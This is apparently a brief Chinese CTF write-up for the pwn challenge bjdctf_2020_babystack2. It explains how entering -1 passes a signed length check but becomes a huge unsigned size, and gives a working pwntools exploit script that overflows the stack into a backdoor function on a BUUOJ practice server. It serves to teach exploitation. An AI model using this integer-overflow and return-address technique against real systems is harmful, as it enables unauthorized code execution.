bjdctf_2020_babystack2
整数溢出
要使栈溢出,则应该输入nbytes,使其转换为int类型小于10,但转换为unsigned int类型大于0x10+
int类型:在C语言中,int类型是有符号整数,通常占用4个字节(32位)。它的取值范围是-2147483648到2147483647。
unsigned int类型:unsigned int类型是无符号整数,也通常占用4个字节(32位)。它的取值范围是0到4294967295。
假设我们输入-1,在int里面就是-1,小于10,但在unsigned int里面为4,294,967,295,完全够够溢出了
exp
from pwn import *
io = remote('node5.buuoj.cn',26706)
backdoor=0x0400726
ret=0x0400599
io.sendlineafter('name:',b'-1')
payload=cyclic(0x10+8)+p64(ret)+p64(backdoor)
io.sendlineafter('name?',payload)
io.interactive()